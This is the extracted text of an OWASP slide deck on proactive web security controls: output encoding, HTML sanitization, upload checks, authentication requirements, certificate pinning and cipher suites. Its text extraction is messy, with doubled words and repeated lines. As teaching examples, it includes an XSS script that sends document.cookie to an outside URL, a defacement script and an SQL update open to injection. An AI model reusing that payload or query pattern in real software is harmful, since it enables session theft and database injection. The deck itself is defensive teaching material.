OWASP Top Ten Proactive Controls v2
OWASP Top Ten Proactive Controls v2
Proactive Defenses
Jim Manico
[email protected]
Global Board
Jim Manico
@manicode
- OWASP Global Board
Member
- Project manager of the
OWASP Cheat Sheet
Series and several other
OWASP projects
- 18+ years of software
development experience
- Author of "Iron-Clad Java,
Building Secure Web
Applications" from
McGraw-Hill/Oracle Press
-
CORE MISSION
The Open Web Application Security Project
(OWASP) is a 501c3 not-for-profit also registered
in Europe as a worldwide charitable organization
focused on improving the security of
software.
Our mission is to make application security
visible, so that people and organizations can
make informed decisions about true
application security risks.
Everyone is welcomed to participate in OWASP
and all of our materials are available under free
and open software licenses.
$NEW_EMAIL = Request['new_email'];
update users set email='$NEW_EMAIL'
where id=290494828;
<script>
var
badURL='https://manicode.com/somesite/d
ata=' + document.cookie;
var img = new Image();
img.src = badURL;
</script>
<script>document.body.innerHTML='<blink
>GO OWASP</blink>';</script>
Session Hijacking
Site Defacement
Network Scanning
Undermining CSRF Defenses
Site Redirection/Phishing
Load of Remotely Hosted Scripts
Data Theft
Keystroke Logging
Attackers using XSS more frequently
<
<
System.Web.Security.AntiXSS
Microsoft.Security.Application.
AntiXSS
HTML Contexts
Encode#forHtml
Encode#forHtmlContent
Encode#forHtmlAttribute
Encode#forHtmlUnquotedAttri
bute
XML Contexts
Encode#forXml
Encode#forXmlContent
Encode#forXmlAttribute
Encode#forXmlComment
Encode#forCDATA
CSS Contexts
Encode#forCssString
Encode#forCssUrl
JavaScript Contexts
Encode#forJavaScript
Encode#forJavaScriptAttribute
Encode#forJavaScriptBlock
Encode#forJavaScriptSource
URI/URL contexts
Encode#forUri
Encode#forUriComponent
Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html
PHP
http://twig.sensiolabs.org/doc/filters/escape.html
http://framework.zend.com/manual/2.1/en/modules/zend.escaper.i
ntroduction.html
Java/Scala (Updated January 2015)
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
.NET AntiXSS Library (v4.3 NuGet released June 2, 2014)
http://www.nuget.org/packages/AntiXss/
GO
http://golang.org/pkg/html/template/
Reform Project
.NET v1/v2, Classic ASP, Python, Perl, JavaScript
https://www.owasp.org/index.php/Category:OWASP_Encoding_Proje
ct
http://boldersecurity.github.io/encodercomparison-reference/
Pure
Pure JavaScript,
JavaScript, client
client side
side HTML
HTML Sanitization
Sanitization with
with CAJA!
CAJA!
http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja
/plugin/html-sanitizer.js
/plugin/html-sanitizer.js
Python
Python
https://pypi.python.org/pypi/bleach
https://pypi.python.org/pypi/bleach
PHP
PHP
http://htmlpurifier.org/
http://htmlpurifier.org/
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
.NET
.NET (v4.3
(v4.3 released
released June
June 2,
2, 2014)
2014)
AntiXSS.getSafeHTML/getSafeHTMLFragment
AntiXSS.getSafeHTML/getSafeHTMLFragment
http://www.nuget.org/packages/AntiXss/
http://www.nuget.org/packages/AntiXss/
https://github.com/mganss/HtmlSanitizer
https://github.com/mganss/HtmlSanitizer
Ruby
Ruby on
on Rails
Rails
https://rubygems.org/gems/loofah
https://rubygems.org/gems/loofah
http://api.rubyonrails.org/classes/HTML.html
http://api.rubyonrails.org/classes/HTML.html
Java
Java
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
Upload Verification
Filename and Size validation + antivirus
Upload Storage
Use only trusted filenames + separate domain
Beware of "special" files
"crossdomain.xml" or "clientaccesspolicy.xml".
Image Upload Verification
Enforce proper image size limits
Use image rewriting libraries
Set the extension of the stored image to be a valid image extension
Ensure the detected content type of the image is safe
Generic Upload Verification
Ensure decompressed size of file < maximum size
Ensure that an uploaded archive matches the type expected (zip, rar)
Ensure structured uploads such as an add-on follow proper standard
Password1!
https://www.owasp.org/index.php/Choosing_and_Using_
Security_Questions_Cheat_Sheet
Send the user a randomly generated token via out-of-band
app, SMS or token
Verify code in same web session
Enforce lockout policy
Change password
Enforce password policy
V2.1 Verify all pages and resources require authentication except those
specifically intended to be public (Principle of complete mediation).
V2.2 Verify all password fields do not echo the user's password when it is
entered.
V2.4 Verify all authentication controls are enforced on the server side.
V2.6 Verify all authentication controls fail securely to ensure attackers
cannot log in.
V2.16 Verify that credentials, and all other identity information handled
by the application(s), do not traverse unencrypted or weakly encrypted
links.
V2.17 Verify that the forgotten password function and other recovery
paths do not reveal the current password and that the new password is
not sent in clear text to the user.
V2.18 Verify that username enumeration is not possible via login,
password reset, or forgot account functionality.
V2.20 Verify that a resource governor is in place to protect against vertical (a single
account tested against all possible passwords) and horizontal brute forcing (all
accounts tested with the same password e.g. Password1). A correct credential
entry should incur no delay. Both these governor mechanisms should be active
simultaneously to protect against diagonal and distributed attacks.
V2.21 Verify that all authentication credentials for accessing services external to the
application are encrypted and stored in a protected location (not in source code).
V2.22 Verify that forgot password and other recovery paths send a link including a
time-limited activation token rather than the password itself. Additional
authentication based on soft-tokens (e.g. SMS token, native mobile applications,
etc.) can be required as well before the link is sent over.
V2.23 Verify that forgot password functionality does not lock or otherwise disable
the account until after the user has successfully changed their password. This is to
prevent valid users from being locked out.
V2.24 Verify that there are no shared knowledge questions/answers (so called
"secret" questions and answers).
V2.25 Verify that the system can be configured to disallow the use of a configurable
number of previous passwords.
Certificate Pinning
https://www.owasp.org/index.php/Pinning_Cheat_Sheet
Forward Secrecy
https://whispersystems.org/blog/asynchronous-security/
Certificate Pinning
What is Pinning
Pinning is a key continuity scheme
Detect when an imposter with a fake but CA validated certificate
attempts to act like the real server
2 Types of pinning
Carry around a copy of the server's public key;
Great if you are distributing a dedicated client-server application
since you know the server's certificate or public key in advance
Note of the server's public key on first use
Trust-on-First-Use, TOFU pinning
Useful when no a priori knowledge exists, such as SSH or a
Browser
https://www.owasp.org/index.php/Pinning_Cheat_Sheet
Browser-Based TOFU
Pinning
Forward Secrecy:
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
NOT Forward Secrecy
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_RSA_WITH_AES_256_CBC_SHA256
(0xc02f)
(0xc027)
(0xc013)
(0xc030)
(0xc028)
(0xc014)
(0x9c)
(0x3c)
(0x2f)
(0x9d)
(0x3d)
AES
AES-ECB
AES-GCM
AES-CBC
padding
Confidentiality!
Integrity
A simple API
Key rotation and versioning
Safe default algorithms, modes, and key lengths
Automated generation of initialization vectors and ciphertext
signatures
Java Python C++
OWASP ASVS
https://www.owasp.org/inde
x.php/Category:OWASP_App
lication_Security_Verificatio
n_Standard_Project
Trusting Input
Treating all client side data as untrusted is
important, and can be tied back to trust
zones/boundaries in design/architecture.
Ideally we want to consider all tiers to be
untrusted and build controls at all layers,
but this is not practical or even possible for
some very large systems.
CORE MISSION
The Open Web Application Security Project
(OWASP) is a 501c3 not-for-profit also registered
in Europe as a worldwide charitable organization
focused on improving the security of
software.
Our mission is to make application security
visible, so that people and organizations can
make informed decisions about true
application security risks.
Everyone is welcomed to participate in OWASP
and all of our materials are available under free
and open software licenses.
[email protected]
@manicode